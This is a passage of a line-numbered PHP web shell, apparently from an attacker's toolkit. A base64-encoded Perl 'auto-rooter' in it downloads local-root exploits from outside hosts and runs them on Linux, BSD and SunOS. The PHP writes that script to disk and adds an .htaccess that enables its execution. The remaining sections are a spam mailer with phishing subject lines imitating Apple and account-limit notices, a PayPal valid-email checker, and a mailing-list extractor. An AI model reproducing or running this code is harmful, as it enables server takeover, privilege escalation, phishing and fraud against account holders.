bSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOw0Kc3lzdGVtKCIuLzUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNiIpOw0Kc3lzdGVtKCIuLzYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzY3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOw0Kc3lzdGVtKCIuLzY3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsNCnN5c3RlbSgiLi83LTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzd4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOw0Kc3lzdGVtKCIuLzd4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOSIpOw0Kc3lzdGVtKCIuLzkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzkwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOw0Kc3lzdGVtKCIuLzkwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBMaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiLi9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
  1428. $chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
  1429. $write = fwrite ($chmoderr ,base64_decode($shellw0rm));
  1430. if($write){
  1431. echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
  1432. fclose($chmoderr);
  1433. chmod("lulZ/autoroot.pl",0755);
  1434.  
  1435.  
  1436. //Extracting htaccess to enable perl handler and type all depends on the server :D
  1437. $htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
  1438. $lol = fopen("lulZ/.htaccess" ,"w+");
  1439. $dwrite = fwrite ($lol ,base64_decode($htaccess));
  1440. fclose($chmoderr);
  1441.  
  1442. echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
  1443. echo "<p>Autoroot Command : perl autoroot.pl</p>";
  1444.  
  1445. }
  1446. }
  1447.  
  1448. ////////////////////// Mailer ////////////////////
  1449. elseif (isset($_GET['x']) && ($_GET['x'] == 'mailer')) {
  1450. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Spam Mailer</span><center><br>';
  1451. $testa = $_POST['veio'];
  1452. if($testa != "") {
  1453. $message = $_POST['html'];
  1454. $subject = $_POST['assunto'].$_POST['assunto2'];
  1455. $nome = $_POST['nome'];
  1456. $de = $_POST['de'];
  1457. $to = $_POST['emails'];
  1458. $email = explode("n", $to);
  1459. $message = stripslashes($message);
  1460. $i = 0;
  1461. $count = 1;
  1462. while($email[$i]) {
  1463. $ok = "ok";
  1464. $headers = "MIME-Version: 1.0n";
  1465. $headers .= "Content-Type: text/html; charset=UTF-8
  1466. Content-Transfer-Encoding: 7bit
  1467. X-Mailer: EDMAIL R6.00.02
  1468. Content-Length: 41061n";
  1469. $headers .= "From: ".$email[$i]."rn";
  1470. if(mail($email[$i], $subject, $message, $headers))
  1471. echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#0982ba>Sent . . . *o*</font><br><hr class=style-three></center>";
  1472. else
  1473. echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#b41420>Error in Sending ? :(</font><br><hr class=style-three></center>";
  1474. $i++;
  1475. $count++;
  1476. }
  1477. $count--;
  1478. if($ok == "ok")
  1479. echo "";
  1480.  
  1481. }
  1482.  
  1483.  
  1484. echo'<html><head><title>|| Priv8 M@iler ||</title><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>';
  1485.  
  1486. echo'<body><center><form action="" method="post" enctype="multipart/form-data" name="form1"><div class="style2"><input type="hidden" name="veio" value="sim">
  1487. <tr><center>
  1488. <table style="width: 100%"></center>
  1489. <tr>
  1490. <td style="width: 1686px">
  1491. <center><table border="0" width="80%" bordercolorlight="white" bordercolordark="white" style="border: 1px solid white; border-radius:4px;" bgcolor="#222222" >
  1492. <td height="25" align="center" bgcolor="#222222" style="width: 849px">
  1493. <img alt="" height="120" src="http://icons.iconarchive.com/icons/iconshock/real-vista-mail/256/inbox-icon.png" width="250"></td><tr align="center">
  1494. <td style="width: 849px" ><font class="fontx1">
  1495. </td>
  1496. </center>
  1497. </tr>
  1498. <tr>
  1499. <td height="194" valign="top" bgcolor="#222222" style="width: 849px">
  1500. <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
  1501. <tr><td height="17" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| SUBJECT :</font></b></td>
  1502. <td height="17"><select name="assunto" id="assunto" class="form2" style="width: 250px">
  1503. <option selected value="">Select Title</option>
  1504. <option value="Test Test">Test Test</option>
  1505. <option value="Apple Expiration de Votre Compte Ref : MNE0-13NB">Apple Expiration de Votre Compte Ref : MNE0-13NB</option>
  1506. <option value="You may to Update Your Account ID">You may to Update Your Account ID</option>
  1507. <option value="Update your account information">Update your account information</option>
  1508. <option value="Your account has been limited until we hear from you">Your account has been limited until we hear from you</option>
  1509. </select><font class="fontx1"> OR <input name="assunto2" id="assunto" class="form2" type="text" style="width: 280px">
  1510. </td></tr><tr align="center" bgcolor="#007700">
  1511. <td height="20" colspan="2" bgcolor="#222222" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
  1512. |LETTER :</font></b></td></tr>
  1513. <tr align="right">
  1514. <td height="146" colspan="2" valign="top"><br>
  1515. <textarea class="area" name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="20"></textarea>
  1516. <b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Reminder : Text HTML |</font></b></td>
  1517. </tr><tr align="center" bgcolor="#222222">
  1518. <td height="10" colspan="2" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
  1519. | MAILING LIST :</font></b></tr>
  1520. <tr align="right">
  1521. <td height="136" colspan="2" valign="top"><br>
  1522. <textarea class="area" name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="20">
  1523. [email protected]</textarea>
  1524. <b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Mail List |</font></b> </td>
  1525. </tr><tr>
  1526. <td height="26" valign="top" colspan="2" class="style1"><input class="button grey" type="submit" name="Submit" value="Send Message"></td>
  1527. </tr></table></td></tr></table></center><br><br></td>
  1528. </div>
  1529. </form>
  1530. </body>';
  1531. }
  1532. ////////////////////// PAYPAL ////////////////////
  1533. elseif (isset($_GET['x']) && ($_GET['x'] == 'ppcheck')) {
  1534. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">PayPal Valid Email
  1535. Checker Priv8 by Kaizen</span><center><br>';
  1536. @set_time_limit(0);
  1537.  
  1538. function curl($url='',$var='',$Follow=False){
  1539. global $set;
  1540. $curl = curl_init();
  1541. curl_setopt($curl, CURLOPT_URL, $url);
  1542. curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
  1543. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
  1544. curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
  1545. curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
  1546. curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
  1547. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
  1548. curl_setopt($curl, CURLOPT_HEADER, 0);
  1549. curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
  1550. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
  1551. if ($Follow !== False) {
  1552. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
  1553. }
  1554. $result = curl_exec($curl);
  1555. curl_close($curl);
  1556. return $result;
  1557. }
  1558. echo "<head>
  1559. <style type="text/css"><!--
  1560. body {
  1561.  
  1562. font-family: 'Open Sans', sans-serif; font-size:13px}
  1563. hr {border:inset 1px #E5E5E5}
  1564. #form-container
  1565. {
  1566. border: solid 1px white;
  1567. border-radius:10px;
  1568. -moz-border-radius: 10px;
  1569. -webkit-border-radius: 10px;
  1570. box-shadow: 0px 0px 4px #009900;
  1571. -moz-box-shadow: 0px 0px 4px #009900;
  1572. -webkit-box-shadow: 0px 0px 4px #009900;
  1573. margin:30px auto;
  1574. padding:10px;
  1575. width:910px;
  1576. text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
  1577. }
  1578.  
  1579. #form-container1
  1580. {
  1581. border: solid 1px white;
  1582. border-radius:10px;
  1583. -moz-border-radius: 10px;
  1584. -webkit-border-radius: 10px;
  1585. box-shadow: 0px 0px 15px white;
  1586. -moz-box-shadow: 0px 0px 15px white;
  1587. -webkit-box-shadow: 0px 0px 15px white;
  1588. margin:30px auto;
  1589. padding:10px;
  1590. width:280px;
  1591. text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
  1592. }
  1593.  
  1594. input[type=text], textarea
  1595. {
  1596. background:transparent;
  1597. border:solid 1px white;
  1598. border-radius:5px;
  1599. -moz-border-radius: 5px;
  1600. -webkit-border-radius: 5px;
  1601. }
  1602. textarea { width:100%;height:200px; resize:none }
  1603. input[type=text] { width:160px;text-align:center }
  1604. input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px white; color:white;}
  1605. .submit-button
  1606. {
  1607. background: #57A02C;
  1608. border:solid 1px #57A02C;
  1609. border-radius:5px;
  1610. -moz-border-radius: 5px;
  1611. -webkit-border-radius: 5px;
  1612. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  1613. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  1614. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  1615. border-bottom: 1px solid rgba(0,0,0,0.25);
  1616. position: relative;
  1617. color:#333333;
  1618. display: inline-block;
  1619. cursor:pointer;
  1620. font-size:13px;
  1621. padding:3px 8px;
  1622. }
  1623. .submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
  1624. .table
  1625. {
  1626. border: solid 1px white;
  1627. border-radius:10px;
  1628. -moz-border-radius: 5px;
  1629. -webkit-border-radius: 5px;
  1630. padding-left:10px;
  1631. }
  1632.  
  1633. .unverified
  1634. {
  1635. color:#800000;
  1636. font-weight: bold;
  1637. }
  1638. .business{
  1639. color:yellow;
  1640. font-weight: bold;
  1641. }
  1642. .premier{
  1643. color:#00FF00;
  1644. font-weight: bold;
  1645. }
  1646. .verified{
  1647. color:#800080;
  1648. font-weight: bold;
  1649. }
  1650. .nolog{
  1651. font-size: 10px;
  1652. font: red;
  1653. }
  1654.  
  1655.  
  1656. --></style>
  1657. <title>Valid Email Checker</title>
  1658. </head><div align="center"></center>";
  1659.  
  1660. $emails = $_POST['emails'];
  1661. print '<div id="form-container"> <form method="POST">
  1662.  
  1663. <p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
  1664. Checker<br></font></p>
  1665.  
  1666. <p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
  1667. <p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
  1668. </form> </div>';
  1669. if (!empty($emails)) {
  1670. $emails = explode("rn", $emails);
  1671. $yes = 0;
  1672. $not = 0;
  1673. $inv = 0;
  1674. $count = 1;
  1675. print "<p align="center"><b>Checking <font color="#ff8f00"> ".count($emails)."</font> emails ....</b><br></p><p align="center">";
  1676. foreach ( $emails as $email ) {
  1677. $email = trim($email);
  1678. print $count .".<b> Checking <font color="#ff8f00">".$email."</font> ..... </b>";
  1679. $count++;
  1680. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  1681. $_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com&currency=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
  1682. if(!strpos($_CheckAction, "region")) {
  1683. print "<b><font size="3" color="#006600">Yes</font></b> <br>";
  1684. $yes++;
  1685. $vaild_yes .=$email."n";
  1686. }
  1687. else {
  1688. print "<b><font color="#FF0000">NO</font></b><br>";
  1689. $not++;
  1690. $vaild_no .=$email."n";
  1691. }
  1692. }
  1693. else {
  1694. print "<b><font color="#FF0000">Invalid email</font></b><br><br>";
  1695. $inv++;
  1696. $invaild .=$email."n";
  1697. }
  1698. }
  1699.  
  1700. print '<p><table border="0" width="100%">
  1701.  
  1702. <tr>
  1703. <td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
  1704. <td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
  1705. <td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
  1706. </tr>
  1707. <tr>
  1708. <td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
  1709. <td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
  1710. <td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
  1711. </tr>
  1712. </table></p>';
  1713. }
  1714. }
  1715. ////////////////////// EMAIL EXTRACTOR ////////////////////
  1716. elseif (isset($_GET['x']) && ($_GET['x'] == 'extra')) {
  1717. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:white">Email Extractor</span><center><br>';
  1718. echo'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
  1719. <center>
  1720. <form method="post">
  1721. <textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
  1722. <center><strong><input type="submit" id="gobutton" name="Extazy007" value="&nbsp;&nbsp;Start&nbsp;&nbsp;"></strong></center></form>';
  1723.  
  1724. $types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
  1725. if($_POST["Extazy007"] && !empty($_POST["mails"])){
  1726. foreach(explode("n", $_POST["mails"]) as $mail){
  1727. foreach($types as $type){
  1728. if(eregi("@".$type, $mail)){
  1729. $file = fopen($type.".txt", "a");
  1730. fwrite($file, $mail."n");
  1731. }
  1732. }
  1733. }
  1734. echo '<font size="4">';
  1735. if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo '</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : '.count(file("hotmail.txt")).'</br>'; }
